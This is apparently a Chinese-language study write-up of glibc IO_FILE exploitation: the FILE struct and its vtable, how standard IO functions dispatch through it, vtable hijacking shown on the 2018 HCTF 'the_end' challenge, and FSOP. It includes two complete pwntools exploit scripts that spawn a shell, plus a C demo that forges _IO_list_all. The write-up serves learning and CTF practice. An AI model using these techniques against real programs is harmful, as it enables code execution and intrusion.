IO_FILE attack
IO_file struct 认识
FILE在linux的标准IO库中用于描述文件的结构,称为文件流。FILE结构在程序执行fopen等函数是才会创建,并将其分配到堆中。
我们通常定义一个指向FILE结构体的指针来接受这样一个返回值
FILE struct
struct _IO_FILE {
int _flags; /* 文件流的状态标志,包括控制、状态和错误信息等。高阶字包含魔数(_IO_MAGIC),其余字节包含其他标志。 */
#define _IO_file_flags _flags/*对 _flags 进行重命名,用于简化使用。*/
/* 用于支持 C++ streambuf 协议的指针, */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* 表示当前读取位置、读取区域的结束和读取区域的起始位置。 */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* 用于支持备份和撤销的指针,表示非当前读取区域的起始位置、备份区域的起始位置和非当前读取区域的结束位置。 */
struct _IO_marker *_markers;/*指向 _IO_marker 结构体的指针,用于支持标记操作。*/
struct _IO_FILE *_chain;/*指向下一个文件流结构体的指针,用于构成一个链表。*/
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;/*虚函数表(vtable)的偏移量。*/
char _shortbuf[1];/*一个字符的缓冲区,用于性能优化。*/
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
_IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
# else
void *__pad1;
void *__pad2;
void *__pad3;
void *__pad4;
size_t __pad5;
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
如注释所说,对于进程中的FILE结构,他会通过_chain域彼此链接将所有的FILE结构体连接成一个链表,链表头部是全局变量 _IO_LIST_ALL表示,并且可以依靠该变量来遍历整个链表中的所有FILE结构。
在标准I/O库中,在每个程序启动时会有三个文件流是自动打开的,分别是 stdin,stdout,stderr。所以一开始_IO_list_all会指向这样一个拥有这些文件流的链表, 但是,这里我们需要注意的是文件流位于libc.so的数据段,而我们通过fopen函数创建的文件流是分配在堆上面的
在libc文件中我们可以找到stdin,stdout,stderr以及_IO_2_1_stderr_ IO_2_1_stdout _IO_2_1_stdin这些符号,而他们之间有分别是指向关系,stdin -> _IO_2_1_stdin(这才是真正的结构file)
事实上_IO_FILE结构外围还包裹着一层 _IO_FILE_plus结构:
struct _IO_FILE_plus
{
_IO_FILE file;
IO_jump_t *vtable;
}
/*其中*vtable的偏移在libc.2.23下:32位:偏移为0x94;64位:偏移为0xd8*/
可以看到*vtable指针被定义为IO_jump_t类型,其中保存了一些函数指针,在后面我们会看到一些标准IO函数调用这里面的的一些函数指针。
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
fread
#include "libioP.h"
size_t
_IO_fread (void *buf, size_t size, size_t count, FILE *fp)
{
size_t bytes_requested = size * count;
size_t bytes_read;
CHECK_FILE (fp, 0);
if (bytes_requested == 0)
return 0;
_IO_acquire_lock (fp);
bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
_IO_release_lock (fp);
return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)
weak_alias (_IO_fread, fread)
# ifndef _IO_MTSAFE_IO
strong_alias (_IO_fread, __fread_unlocked)
libc_hidden_def (__fread_unlocked)
weak_alias (_IO_fread, fread_unlocked)
# endif
可以看到,fread函数实际上是对_IO_sget函数的调用:
_IO_size_t
_IO_sgetn (fp, data, n)
_IO_FILE *fp;
void *data;
_IO_size_t n;
{
return _IO_XSGETN (fp, data, n);
}
而_IO_sgetn又会调用 _IO_XSGETN,这时我们回头看,可以发现这东西实际上就是vtable的一个函数指针,所以我们在执行fread函数时实际上会先取出在vtable中的指针然后再执行调用。
这里wiki中提到,在默认情况下这一函数指针实际上是指向了_IO_FILE_XSGETN这一个宏,而该宏又会调用 _IO_XSGETN函数
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break;
continue;
}
fwrite
实际实现原理和fread相差不大,都是通过对vtable中的函数指针引用来实现
#include "libioP.h"
size_t
_IO_fwrite (const void *buf, size_t size, size_t count, FILE *fp)
{
size_t request = size * count;
size_t written = 0;
CHECK_FILE (fp, 0);
if (request == 0)
return 0;
_IO_acquire_lock (fp);
if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
written = _IO_sputn (fp, (const char *) buf, request);
_IO_release_lock (fp);
/* We have written all of the input in case the return value indicates
this or EOF is returned. The latter is a special case where we
simply did not manage to flush the buffer. But the data is in the
buffer and therefore written as far as fwrite is concerned. */
if (written == request || written == EOF)
return count;
else
return written / size;
}
libc_hidden_def (_IO_fwrite)
# include <stdio.h>
weak_alias (_IO_fwrite, fwrite)
libc_hidden_weak (fwrite)
# ifndef _IO_MTSAFE_IO
weak_alias (_IO_fwrite, fwrite_unlocked)
libc_hidden_weak (fwrite_unlocked)
# endif
可以看到实际上就是对written = _IO_sputn (fp, (const char *) buf, request);这里面的 _IO_sput函数的调用,而该函数又是对 IO_XSPUT的调用,它也位于 _IO_FILE_plus的vtable中,同样的会先从vtable中取出该指针再跳回执行。
IO_XSputn对应的默认函数 _IO_new_file_xsputn同样调用位于vtable中的 _IO_overflow
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF)
类似的_IO_overflow默认指向的函数:_IO_new_file_overflow
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
这函数内部会实现对系统接口write的调用。
fopen
和fread与fwrite不一样的是,在fopen内部会 创建 FIEL结构并进行一些初始化操作
首先在fopen对应的函数__fopen_internal内部会先调用malloc函数,分配FIEL结构的存储空间。所以,这也就是我们之前所说的除了stdin,stdout,stderr外,分配的FILE结构是在堆上的。
*new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
之后为创建的FILE初始化vtable,并调用_IO_file_init进一步初始:
_IO_JUMPS (&new_f->fp) = &_IO_file_jumps;
_IO_file_init (&new_f->fp);
在_IO_file_init函数的初始化操作中,会调用 _IO_link_in 把新分配的FILE链入 _IO_list_all为起始的FILE链表中
void
_IO_link_in (fp)
struct _IO_FILE_plus *fp;
{
if ((fp->file._flags & _IO_LINKED) == 0)
{
fp->file._flags |= _IO_LINKED;
fp->file._chain = (_IO_FILE *) _IO_list_all;
_IO_list_all = fp;
++_IO_list_all_stamp;
}
}
之后__fopen_interal函数会调用 _IO_file_fopen函数打开目标文件,_IO_fiel_fopen会根据用户传入不同的模式进行打开操作,总之最后会调用系统接口open函数:
if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL)
return __fopen_maybe_mmap (&new_f->fp.file);
总结一下 fopen 的操作是
- 使用 malloc 分配 FILE 结构
- 设置 FILE 结构的 vtable
- 初始化分配的 FILE 结构
- 将初始化的 FILE 结构链入 FILE 结构链表中
- 调用系统调用打开文件
fclose
fclose是标准IO库中用于关闭已打开的文件的函数,起作用与fopen函数相反。
int fclose(FILE *stream)
功能:关闭一个文件流,使用fclose就可以把缓冲区内最后的数据输出到磁盘文件中,斌释放文件指针和有关缓冲区。
fclose会先调用_IO_unlink_it函数将指定的FIEL结构从链表中脱离
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
_IO_un_link ((struct _IO_FILE_plus *) fp);
之后会调用_IO_file_close_it函数,_IO_file_close_it会调用系统接口close关闭文件
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
status = _IO_file_close_it (fp);
最后调用vtable中_IO_finish,其对应的是 _IO_FILE_FINISH函数,其中会调用free函数释放掉之前的FILE结构
printf/puts
printf 和 puts 是常用的输出函数,在 printf 的参数是以’\n’结束的纯字符串时,printf 会被优化为 puts 函数并去除换行符。
puts 在源码中实现的函数是_IO_puts,这个函数的操作与 fwrite 的流程大致相同,函数内部同样会调用 vtable 中的_IO_sputn,结果会执行_IO_new_file_xsputn,最后会调用到系统接口 write 函数。
printf 的调用栈回溯如下,同样是通过_IO_file_xsputn 实现
伪造vtable劫持程序流程
前面我们了解了文件流的相关特性,我们可以知道几乎所有IO操作都会有一个对FILE结构操作的处理,尤其是对于FILE结构外围的 _IO_FILE_plus中的vtable操作,十分重要。
因此,伪造vtable劫持程序流的中心思想就是针对io_file_plus的vtable动手,通过把vtable只想我们控制的内存,并在其中布置函数指针来实现。
因此vtable劫持分为两种,一种是直接改写vtable中的函数指针,通过任意地址写来完成。二是覆盖vtable的指针指向我们控制的内存,然后在其中布置函数指针。
例题 2018 HCTF the_end
程序源码:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
sleep(0);
printf("here is a gift %p, good luck ;)\n",&sleep);
fflush(stdout);
close(1);
close(2);
unsigned long long addr;
for(int i=0;i<5;i++){
read(0,&addr,8);
read(0,addr,1);
}
exit(1337);
}
编译:
gcc -fPIE -pie -Wl,-z,relro,-z,now -fstack-protector exit.c -o the_end
程序直接泄露了sleep的libc地址,我们可以通过这计算出_IO_FILE_JUMPS(也就是vtable虚表的地址)。
同时以为程序直接关闭了标准输出和标准错误,我们在拿到shell之后需要重定位才有回显。
这题很明晰的利用就是执行exit来getshell,因为exit会调用vtable里面的 setbuf函数,并且题目给出了libc版本伪2.23,所以这里我们选择劫持vtable,将onegadget写入setbuf的位置,去执行。
这里是选择两字节伪造vtable的地址,3字节刚好够修改onegadget的3字节offset。
官方exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
# context.terminal = ['gnome-terminal','-x','bash','-c']
context.terminal = ['tmux','splitw','-h']
local = 1
if local:
cn = process('./the_end')
# bin = ELF('./exit_pwn',checksec=False)
libc = ELF('./libc-2.23.so',checksec=False)
else:
cn = remote('0',10006)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
cn.sendline('hxazene')
pass
def z(a=''):
# if local:
gdb.attach('the_end',gdbscript=a,exe='./the_end')
if a == '':
raw_input()
cn.recvuntil('gift ')
d = cn.recvuntil(',')[:-1]
lbase = int(d,16)-libc.sym['sleep']
success('lbase: '+hex(lbase))
# z('b __run_exit_handlers\nb _IO_cleanup\nc')
# z('b execve\nc')
addr = lbase+libc.sym['_IO_2_1_stdout_']+0xd8
val = lbase+libc.got['realloc']-0x58
cn.send(p64(addr+1))
val2 = (val>>8)&0xff
cn.send(chr(val2))
cn.send(p64(addr))
val2 = (val)&0xff
cn.send(chr(val2))
addr = lbase+libc.sym['__realloc_hook']
val = lbase+0xf02a4
cn.send(p64(addr))
val2 = (val)&0xff
cn.send(chr(val2))
cn.send(p64(addr+1))
val2 = (val>>8)&0xff
cn.send(chr(val2))
cn.send(p64(addr+2))
val2 = (val>>16)&0xff
cn.send(chr(val2))
cn.interactive()
虽然我自己么没打出来
个人exp
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.terminal = ['tmux','splitw','-h']
p = process('./the_end')
# attach(p)
p.recvuntil(b'0x')
libc = ELF('./libc-2.23.so')
sleep_addr = int(p.recv(12),16)
success('sleep_addr:'+hex(sleep_addr))
p.recvuntil(b', good luck ;)\n')
libc_base = sleep_addr - libc.sym['sleep']
success('libc_base:'+hex(libc_base))
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
vtable = libc_base + 0x3c36e0
fake_vtable = libc_base + 0x3c3570
ogg = libc_base + one_gadget[2]
success('ogg:'+hex(ogg))
success('fake_addr' + hex(fake_vtable))
success('vtable:'+hex(vtable))
for i in range(2):
p.send(p64(vtable+i))
p.send(p64(fake_vtable)[i:i+1])
print(p64(fake_vtable)[i:i+1])
sleep(0.1)
for i in range(3):
p.send(p64(fake_vtable+0x58+i))
p.send(p64(ogg)[i:i+1])
p.sendline("exec /bin/sh 1>&0")
p.interactive()
FSOP
在学习完劫持vtable的操作之后,我们可以更加深刻的意识到FILE这一个结构体的运行方式,对于进程中的每一个FILE结构体都会存储在一个链表中,通过_chain域连成一块链表,并通过_IO_LIST_all这一头部节点来维护。
注意_IO_list_all这一节点是用来遍历file结构体的,所以说无论在什么时候FILE这一个链表中永远会有_IO_LIST_ALL这个头节点存在。
这也就是整个FSOP的核心利用点:
劫持_IO_LIST_ALL的值来伪造链表和其中的_IO_FILE项,但单纯的伪造只是构造了一堆数据罢了,这里我们还需要一个触发器:
FSOP 选择的触发方法是调用_IO_flush_all_lockp:
int
_IO_flush_all_lockp (int do_lock)
{
...
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
...
}
}
可以从这一部份代码中看到,这一个函数会刷新_IO_LIST_ALL链表中所有的文件流,相当于对每一个FILE都调用fflush,也会对应着调用_IO_FILE_PLUS中的vtable中的_IOOVERFLOW.
而_IO_flush_all_lockp 不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
-
当 libc 执行 abort 流程时
-
当执行 exit 函数时
-
当执行流从 main 函数返回时
EG:
梳理一下 FSOP 利用的条件,首先需要攻击者获知 libc.so 基址,因为_IO_list_all 是作为全局变量储存在 libc.so 中的,不泄漏 libc 基址就不能改写_IO_list_all。
之后需要用任意地址写把_IO_list_all 的内容改为指向我们可控内存的指针,
之后的问题是在可控内存中布置什么数据,毫无疑问的是需要布置一个我们理想函数的 vtable 指针。但是为了能够让我们构造的 fake_FILE 能够正常工作,还需要布置一些其他数据。 这里的依据是我们前面给出的
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
也就是
- fp->_mode <= 0
- fp->_IO_write_ptr > fp->_IO_write_base
在这里通过一个示例来验证这一点,首先我们分配一块内存用于存放伪造的 vtable 和_IO_FILE_plus。 为了绕过验证,我们提前获得了_IO_write_ptr、_IO_write_base、_mode 等数据域的偏移,这样可以在伪造的 vtable 中构造相应的数据
#define _IO_list_all 0x7ffff7dd2520
#define mode_offset 0xc0
#define writeptr_offset 0x28
#define writebase_offset 0x20
#define vtable_offset 0xd8
int main(void)
{
void *ptr;
long long *list_all_ptr;
ptr=malloc(0x200);
*(long long*)((long long)ptr+mode_offset)=0x0;
*(long long*)((long long)ptr+writeptr_offset)=0x1;
*(long long*)((long long)ptr+writebase_offset)=0x0;
*(long long*)((long long)ptr+vtable_offset)=((long long)ptr+0x100);
*(long long*)((long long)ptr+0x100+24)=0x41414141;
list_all_ptr=(long long *)_IO_list_all;
list_all_ptr[0]=ptr;
exit(0);
}
我们使用分配内存的前 0x100 个字节作为_IO_FILE,后 0x100 个字节作为 vtable,在 vtable 中使用 0x41414141 这个地址作为伪造的_IO_overflow 指针。
之后,覆盖位于 libc 中的全局变量 _IO_list_all,把它指向我们伪造的_IO_FILE_plus。
通过调用 exit 函数,程序会执行 IO_flush_all_lockp,经过 fflush 获取 IO_list_all 的值并取出作为_IO_FILE_plus 调用其中的 _IO_overflow
---> call _IO_overflow
[#0] 0x7ffff7a89193 → Name: _IO_flush_all_lockp(do_lock=0x0)
[#1] 0x7ffff7a8932a → Name: _IO_cleanup()
[#2] 0x7ffff7a46f9b → Name: __run_exit_handlers(status=0x0, listp=<optimized out>, run_list_atexit=0x1)
[#3] 0x7ffff7a47045 → Name: __GI_exit(status=<optimized out>)
[#4] 0x4005ce → Name: main()